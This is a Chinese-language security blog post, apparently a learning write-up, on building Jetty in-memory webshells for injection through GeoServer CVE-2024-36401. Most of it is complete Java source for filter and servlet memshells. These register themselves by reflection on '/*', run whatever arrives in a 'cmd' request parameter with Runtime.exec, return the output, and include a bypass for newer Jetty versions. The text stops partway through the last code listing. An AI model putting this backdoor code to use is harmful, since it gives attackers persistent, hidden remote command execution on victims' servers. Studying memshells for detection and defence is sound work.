最近在学习geoserver的CVE-2024-36401注入内存马的时候,发现需要注入jetty类型的内存马,这是一个不同于tomcat的轻量级web容器。具体来说,Jetty 是一个开源的servlet容器,它为基于Java的web容器,例如JSP和servlet提供运行环境。Jetty是使用Java语言编写的,它的API以一组JAR包的形式发布。开发人员可以将Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。
环境搭建
因为我本身并不熟悉jetty的内容,所以这里把有关环境部署的部分也记录下来了,使用IDEA的maven Archetype创建webapp模板的应用程序模板,如下所示:
然后编写pom文件当中的内容,引入jetty的相关依赖。我的pom文件内容如下所示:
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>JettyMemshell</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>JettyMemshell Maven Webapp</name>
<url>http://maven.apache.org</url>
<!--建议更换成9.0.7.v20131107不会出现后续问题分析的前一个问题-->
<properties>
<jetty.version>9.4.44.v20210927</jetty.version>
</properties>
<dependencies>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-server</artifactId>
<version>${jetty.version}</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-servlet</artifactId>
<version>${jetty.version}</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<finalName>JettyMemshell</finalName>
<plugins>
<plugin>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-maven-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<httpConnector>
<port>8080</port>
</httpConnector>
<scanIntervalSeconds>10</scanIntervalSeconds>
<webApp>
<contextPath>/</contextPath>
</webApp>
</configuration>
</plugin>
</plugins>
</build>
</project>
然后编写一个简单的servlet来观察这个应用程序是否能够按照预期进行正常运行:
package com.fanxing.servlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class HelloServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
res.setContentType("text/html");
res.setStatus(HttpServletResponse.SC_OK);
res.getWriter().println("<h1>Hello World</h1>");
}
}
最后配置一下web.xml:
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.fanxing.servlet.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
</web-app>
由于在Run/Debug Configurations当中我并没有找到配置Jetty server的地方,所以我们这里采用maven plugin的方式启动该应用程序。
点开右侧的Maven然后点击plugins的Jetty:run,然后就可以正常启动应用程序,并且能够正常访问。
同时右键jetty:run可以对该应用程序进行调试。
Filter分析
如下过程参考至https://xz.aliyun.com/t/12182。
为了知道如何装配内存马的各个部分我们必须要知道原Filter是如何构成的,我们需要定位到调用doFilter的部分进行观察。
其调用chian.doFilter,我们需要定位chain的获取位置,并在此下断点再次启动应用程序看其内部逻辑。
我们往前去溯源程序的运行逻辑可以发现,源程序是在如下代码段当中进行Filter的获取的,其中关键的变量是_filterPathMappings。
filter内存马实现
_filterPathMapping当中记录了有关filter的信息,这些都会在初始化该变量的时候用到。现在我们可以理一下思路ServletHandler里面有一个filterchain,这个filterchain里面的信息是通过_filterPathMapping拿到的,所以我们的第一步是获取ServletHandler它是整个内存马的基石,如同tomcat当中StandardContext一样。使用jos搜索对象我们可以得到下面的结果:
根据搜索出来的结果我们就可以找到对应的获取ServletHandler的方式:
public static void getHandler() throws Exception{
Object thread = Thread.currentThread();
Object contextClassLoader = getFieldValue(thread, "contextClassLoader");
Object context = getFieldValue(contextClassLoader,"_context");
servletHandler = getFieldValue(context, "_servletHandler");
}
然后回来再看_filterPathMappings这个变量,我们可以通过观察它运行时的状态,来看它包含哪些内容。首先,_filterPathMappings是一个ArrayList类型的对象,其中包含的数组元素是FilterMapping类型,每一个FilterMapping类型的变量内部都含有_filtername,_holder,_pathSpecs三个变量。
我们从FilterMapping.class文件当中的函数中可以看到,针对每一种我们所需要的元素都有对应的setter方法:
在这些setter方法当中我们可以发现setFilterName本身并不是很需要,因为在setFilterHolder里面就已经自动调用了该方法。而setPathSpecs本身的入参是一个String类型的路径,也非常简单,唯一需要操作的点是setFilterHolder,首先他不是public我们需要通过反射进行获取并调用,其次是我们需要额外的初始化一个FilterHolder类型的对象。
下面是我给出的这部分的代码段:
//获取FilterHolder
Filter filter = new BehinderFilter();
FilterHolder filterHolder = new FilterHolder(filter);
//拼凑filtermapping
FilterMapping filterMapping = new FilterMapping();
Method setFilterHolder = getMethod(filterMapping,"setFilterHolder", FilterHolder.class);
setFilterHolder.invoke(filterMapping, filterHolder);
filterMapping.setPathSpec("/evil");
最后参考源代码当中向_filterPathMapping添加filtermapping,_filterPathMapping.add(filtermapping)。
到此为止,理论成立,我们来看实战结果。我将整体的filter内存马结果代码展示如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.servlet.FilterHolder;
import org.eclipse.jetty.servlet.FilterMapping;
import org.eclipse.jetty.servlet.ServletHandler;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class BehinderFilter extends AbstractTranslet implements Filter {
public static Object servletHandler = null;
public static Object getFieldValue(Object obj, String name) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while(clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var6) {
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static Method getMethod(Object obj, String name, Class<?>... paramClazz) throws NoSuchMethodException {
Method method = null;
Class clazz = obj.getClass();
while(clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(name, paramClazz);
break;
} catch (NoSuchMethodException var6) {
clazz = clazz.getSuperclass();
}
}
method.setAccessible(true);
return method;
}
public static void getHandler() throws Exception{
Object thread = Thread.currentThread();
Object contextClassLoader = getFieldValue(thread, "contextClassLoader");
Object context = getFieldValue(contextClassLoader,"_context");
servletHandler = getFieldValue(context, "_servletHandler");
}
static {
try {
//获取ServletHandler
getHandler();
//获取FilterHolder
Filter filter = new BehinderFilter();
FilterHolder filterHolder = new FilterHolder(filter);
filterHolder.setName("BehinderFilter");
//拼凑filtermapping
FilterMapping filterMapping = new FilterMapping();
Method setFilterHolder = getMethod(filterMapping,"setFilterHolder", FilterHolder.class);
setFilterHolder.invoke(filterMapping, filterHolder);
filterMapping.setPathSpec("/evil");
//加入filterPathMappings
ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");
_filterPathMapings.add(filterMapping);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
//回显处理
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
String line;
StringBuilder stringBuilder = new StringBuilder();
while ((line = reader.readLine()) != null){
stringBuilder.append(line + "\n");
}
ServletOutputStream servletOutputStream = response.getOutputStream();
servletOutputStream.write(stringBuilder.toString().getBytes());
servletOutputStream.flush();
servletOutputStream.close();
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
为了测试内存马性能,我才用最简单粗暴的触发方式,在HelloServlet当中直接加载该内存马。代码如下:
public class HelloServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
try {
Thread.currentThread().getContextClassLoader().loadClass(BehinderFilter.class.getName()).newInstance();
} catch (InstantiationException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
res.setContentType("text/html");
res.setStatus(HttpServletResponse.SC_OK);
res.getWriter().println("<h1>Hello World</h1>");
}
}
在注册之前我们先访问一下/evil,这个时候可以看到这个路由是啥也没有的。
然后访问一下/hello注入一下我们理论成立的内存马,最后再访问/evil路由,结果如下。看到这个报错我直接????
问题分析
好好好同类型无法相互转换okok。但是这至少说明我们的所有想写入的字段都写进去了,要不然也不会报这个错。通过一番调试我发现问题出现在遍历_filterPathMappings上面。
数组里面有三个filtermapping,Jetty_WebSocketUpgradeFilter,HelloFilter,BehinderFilter,在遍历到第三个的时候直接抛出异常。
我们来对比一下正常的Filter和我们所注入的filter之间的区别。
对比之后我们可以发现主要的区别在holder里面,我们的holder仿佛什么都没有,但是我们确实是使用带有filter的构造函数进行实例化的。
但是由于多态的特性我们原先的写法,永远无法到达FilterHolder(Filter filter)当中,只会调用第一个构造方法。
FilterHolder filterHolder = new FilterHolder(filter);
但是这不是根本问题,我们仍可以采用分段式的函数调用来弥补直接调用构造的方法的不足,如下所示:
FilterHolder filterHolder = new FilterHolder();
filterHolder.setFilter(filter);
这样我们解决问题了吗?并没有,原因就在setFilter()函数当中,他根本就没有往_filter里面放数据。当然这个和jetty的版本有很大的关系,当前的版本是9.4.44.v20210927。
我们回到9.0.7.v20131107版本当中,就会发现其中的内容有很大的变化,它能够正常给_filter赋值。(后面的所有步骤都是用9.0.7.v20131107)。
但是即便是这种情况下也无法避免org.eclipse.jetty.servlet.FilterMapping cannot be cast to org.eclipse.jetty.servlet.FilterMapping。
问题解答(类加载器的命名空间问题)
网上关于这种报错的有两种解释:一种是针对于spring环境下的特化问题:devtool上的热部署,第二种解释是类加载器的命名空间问题。
再回到https://xz.aliyun.com/t/12182文章当中提出的payload,我们拿过来做一点简单的改动,得到下面的payload,这一次是可以完美运行的没有任何问题。
package MemshellTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.servlet.FilterHolder;
import org.eclipse.jetty.servlet.FilterMapping;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class BehinderFilter extends AbstractTranslet implements Filter {
public static Object servletHandler = null;
private static String filterName = "BehinderFilter";
private static String filterClassName = "MemshellTest.BehinderFilter";
private static String url = "/*";
public static Object getFieldValue(Object obj, String name) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while(clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var6) {
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static Method getMethod(Object obj, String name, Class<?>... paramClazz) throws NoSuchMethodException {
Method method = null;
Class clazz = obj.getClass();
while(clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(name, paramClazz);
break;
} catch (NoSuchMethodException var6) {
clazz = clazz.getSuperclass();
}
}
method.setAccessible(true);
return method;
}
public static void getHandler() throws Exception{
Object thread = Thread.currentThread();
Object contextClassLoader = getFieldValue(thread, "contextClassLoader");
Object context = getFieldValue(contextClassLoader,"_context");
servletHandler = getFieldValue(context, "_servletHandler");
}
static {
try {
//获取ServletHandler
getHandler();
//获取FilterHolder
Filter filter = new BehinderFilter();
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();
Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
setFilter.invoke(filterHolder,filter);
Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);
setName.invoke(filterHolder,filterName);
//拼凑filtermapping
Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();
Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
setFilterName.invoke(filterMapping,filterName);
Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping,filterHolder);
String pathSpecs = url;
Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
setPathSpec.invoke(filterMapping,pathSpecs);
//加入filterPathMappings
ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");
_filterPathMapings.add(filterMapping);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
//回显处理
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
String line;
StringBuilder stringBuilder = new StringBuilder();
while ((line = reader.readLine()) != null){
stringBuilder.append(line + "\n");
}
ServletOutputStream servletOutputStream = response.getOutputStream();
servletOutputStream.write(stringBuilder.toString().getBytes());
servletOutputStream.flush();
servletOutputStream.close();
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
无论是从环境的角度考虑,还是从结果的payload当中来看问题的答案都倾向于第二种说法,因为在payload当中使用应用类加载器加载出的类用于初始化是没有任何问题的,能够和之前的在源码当中的对象进行相互转化。
servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();
原因就是在程序运行的时候,有另外的加载器也加载了这个类,然后我们在使用new去声明该类的的时候调用了该类加载器加载的类从而造成了命名空间的不同。
额外的问题
我们可不可以使用反射获取filtermapping然后其他的部分(filterholder)使用new的方式获取实例化对象?答案也是不行。
//反射方式
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();
//new方式
FilterHolder filterHolder = new FilterHolder();
在我个人的尝试过程中,结果是不行的,它会在后续的为filtermapping反射获取方法的时候受到限制。
Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
如果我们使用的是反射方式,在这一步当中,它会提示我们找不到对应的方法,而在源码当中确实存在入参为该类的方法。我们可以分别在该处打下断点,然后用evaluate去计算这两种情况下的filterHolder.getClass()的值:
//new实例化方式
//反射方式
这两个结果只有一个不同,就是使用反射获取构造器实例化的对象当中在reflectionData当中是有值的。
最终Filter内存马
所以结合这些问题的分析与解决我们最后得到一个测试成功的内存马:
package MemshellTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.servlet.FilterHolder;
import org.eclipse.jetty.servlet.FilterMapping;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class BehinderFilter extends AbstractTranslet implements Filter {
public static Object servletHandler = null;
private static String filterName = "BehinderFilter";
private static String filterClassName = "MemshellTest.BehinderFilter";
private static String url = "/*";
public static Object getFieldValue(Object obj, String name) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while(clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var6) {
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static Method getMethod(Object obj, String name, Class<?>... paramClazz) throws NoSuchMethodException {
Method method = null;
Class clazz = obj.getClass();
while(clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(name, paramClazz);
break;
} catch (NoSuchMethodException var6) {
clazz = clazz.getSuperclass();
}
}
method.setAccessible(true);
return method;
}
public static void getHandler() throws Exception{
Object thread = Thread.currentThread();
Object contextClassLoader = getFieldValue(thread, "contextClassLoader");
Object context = getFieldValue(contextClassLoader,"_context");
servletHandler = getFieldValue(context, "_servletHandler");
}
static {
try {
//获取ServletHandler
getHandler();
//获取FilterHolder
Filter filter = new BehinderFilter();
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();
Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
setFilter.invoke(filterHolder,filter);
Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);
setName.invoke(filterHolder,filterName);
//拼凑filtermapping
Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();
Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
setFilterName.invoke(filterMapping,filterName);
Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping,filterHolder);
String pathSpecs = url;
Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
setPathSpec.invoke(filterMapping,pathSpecs);
//加入filterPathMappings
ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");
_filterPathMapings.add(filterMapping);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
//回显处理
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
String line;
StringBuilder stringBuilder = new StringBuilder();
while ((line = reader.readLine()) != null){
stringBuilder.append(line + "\n");
}
ServletOutputStream servletOutputStream = response.getOutputStream();
servletOutputStream.write(stringBuilder.toString().getBytes());
servletOutputStream.flush();
servletOutputStream.close();
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
Serlevt内存马分析构造
在filter内存马的实现当中,我们发现在ServletHandler对象里面存在了很多有用的变量其中就包含了 _filterPathMapings他可以帮我们实现filter内存马,更进一步的,有没有别的变量可以帮助我们实现servlet内存马呢?从变量池里面我们看到了_servlets以及_servletsMapping。
在ServletHandler类当中可以检索通过哪个函数为_servlets进行赋值,然后再定位调用赋值函数的位置。最终能找到addServlet函数对_servlets进行赋值且变量类型为ServletHolder。
然而ServletHolder当中的内容和FilterHolder的内容差不多,可以直接把FilterHolder进行实例化的部分照抄过来,得到如下所示的代码段。
//获取ServletHolder
Servlet servlet = new BehinderServlet();
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object servletHolder = constructor2.newInstance();
Method setFilter = servletHolder.getClass().getDeclaredMethod("setServlet", Servlet.class);
setFilter.invoke(servletHolder, servlet);
Method setName = servletHolder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
setName.invoke(servletHolder, ServletName);
//装载_servlet
Method addServlet = servletHandler.getClass().getDeclaredMethod("addServlet", servletHolder.getClass());
addServlet.setAccessible(true);
addServlet.invoke(servletHandler, servletHolder);
对于_servletsMapping来讲,其内容物是一个ServletMapping的对象,主要就是存放Servlet的作用路径以及Servlet的名称。
最后通过同样的思路也能够找到ServletHandler对_servletsMapping变量进行赋值的过程。如下所示:
最终给出如下的servlet内存马代码:
package com.fanxing.servlet;
import MemshellTest.BehinderFilter;
import javax.servlet.Filter;
import javax.servlet.Servlet;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class BehinderServlet extends HttpServlet {
public static Object servletHandler = null;
private static String ServletName = "BehinderServlet";
private static String url = "/*";
public static Object getFieldValue(Object obj, String name) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while(clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var6) {
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void getHandler() throws Exception{
Object thread = Thread.currentThread();
Object contextClassLoader = getFieldValue(thread, "contextClassLoader");
Object context = getFieldValue(contextClassLoader,"_context");
servletHandler = getFieldValue(context, "_servletHandler");
}
static {
try {
//获取ServletHandler
getHandler();
//获取ServletHolder
Servlet servlet = new BehinderServlet();
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object servletHolder = constructor2.newInstance();
Method setFilter = servletHolder.getClass().getDeclaredMethod("setServlet", Servlet.class);
setFilter.invoke(servletHolder, servlet);
Method setName = servletHolder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
setName.invoke(servletHolder, ServletName);
//装载_servlet
Method addServlet = servletHandler.getClass().getDeclaredMethod("addServlet", servletHolder.getClass());
addServlet.setAccessible(true);
addServlet.invoke(servletHandler, servletHolder);
//初始化mapping
Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object servletMapping = constructor.newInstance();
Method setFilterName = servletMapping.getClass().getDeclaredMethod("setServletName", String.class);
setFilterName.invoke(servletMapping, ServletName);
String pathSpecs = url;
Method setPathSpec = servletMapping.getClass().getDeclaredMethod("setPathSpec", String.class);
setPathSpec.invoke(servletMapping, pathSpecs);
//加入_servletMappings
Method addServletMapping = servletHandler.getClass().getDeclaredMethod("addServletMapping", servletMapping.getClass());
addServletMapping.setAccessible(true);
addServletMapping.invoke(servletHandler,servletMapping);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws ServletException, IOException {
resp.getWriter().write("FanXing");
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
结果如下所示:
高版本利用绕过
之前在Filter内存马实现的过程中前半段使用的是9.4.44.v20210927版本jetty,在那个版本有一个setFilter没有办法正常set变量_filter的问题,所以在后半段以及Servlet内存马实现的时候都使用的是9.0.7.v20131107版本。
这一节主要是为了解决高版本下的内容绕过,再次回到FilterHolder代码段跟踪运行逻辑。
FilterHolder#setFilter。
然后到Holder#setInstance。
最后到BaseHolder#setInstance,可以发现传进去的filter实例化对象最终赋给了_instance。
最后回看FilterHolder当中的代码检索哪一部分,调用了getInstance,最后发现在initialize()函数当中使用getInstance为_filter进行赋值。
进一步的去看super.initialize()当中的内容,可以发现它做了一次有关生命周期的判断内容,在默认情况下我们走到这里的_state是0,所以在这里我们会直接进入if语句里面并抛出异常(AbstractLifeCycle#isStarted)。
但是在AbstractLifeCycle当中存在着可以改变_state的setter方法,比如可以强制把他改变成2的getStarted()方法。
所以我们可以在获取FilterHolder当中的代码下面加入如下语句,这样内存马就可以按照预期的逻辑向_filter当中写入数据了。
Method setStarted = getMethod(filterHolder,"setStarted", null);
setStarted.invoke(filterHolder);
Method initialize = filterHolder.getClass().getDeclaredMethod("initialize", null);
initialize.setAccessible(true);
initialize.invoke(filterHolder);
但是这样仍不够,我们通过了上面代码当中的判断,直接来到了。
this._filter = (Filter)this.wrap(this._filter, WrapFunction.class, WrapFunction::wrapFilter);
在使用wrap进行封装的时候会出现问题,在该代码逻辑里面会采用getServletHandler()来获取ServletHandler对象,但是这里的this是FilterHolder其中的_servletHandler是null,所以会造成空指针异常。
为了过这一步验证,我们可以在getHandler里面拿到的servletHanlder通过setter方法放进去:
Method setServletHandler = getMethod(filterHolder,"setServletHandler", servletHandler.getClass());
setServletHandler.invoke(filterHolder, servletHandler);
最终我们的实现结果如下:
package MemshellTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.servlet.FilterHolder;
import org.eclipse.jetty.servlet.FilterMapping;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class BehinderFilter extends AbstractTranslet implements Filter {
public static Object servletHandler = null;
private static String filterName = "BehinderFilter";
private static String url = "/*";
public static Object getFieldValue(Object obj, String name) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while(clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var6) {
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static Method getMethod(Object obj, String name, Class<?>... paramClazz) throws NoSuchMethodException {
Method method = null;
Class clazz = obj.getClass();
while(clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(name, paramClazz);
break;
} catch (NoSuchMethodException var6) {
clazz = clazz.getSuperclass();
}
}
method.setAccessible(true);
return method;
}
public static void getHandler() throws Exception{
Object thread = Thread.currentThread();
Object contextClassLoader = getFieldValue(thread, "contextClassLoader");
Object context = getFieldValue(contextClassLoader,"_context");
servletHandler = getFieldValue(context, "_servletHandler");
}
static {
try {
//获取ServletHandler
getHandler();
//获取FilterHolder
Filter filter = new BehinderFilter();
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();
Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
setFilter.invoke(filterHolder,filter);
Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);
setName.invoke(filterHolder,filterName);
//高版本绕过代码段
Method setStarted = getMethod(filterHolder,"setStarted", null);
setStarted.invoke(filterHolder);
Method setServletHandler = getMethod(filterHolder,"setServletHandler", servletHandler.getClass());
setServletHandler.invoke(filterHolder, servletHandler);
Method initialize = filterHolder.getClass().getDeclaredMethod("initialize", null);
initialize.setAccessible(true);
initialize.invoke(filterHolder);
//拼凑filtermapping
Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();
Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
setFilterName.invoke(filterMapping,filterName);
Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping,filterHolder);
String pathSpecs = url;
Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
setPathSpec.invoke(filterMapping,pathSpecs);
//加入filterPathMappings
ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");
_filterPathMapings.add(filterMapping);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
//为了避免初次的命令执行空指针异常
if(cmd != null){
Runtime.getRuntime().exec(cmd);
//回显处理
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
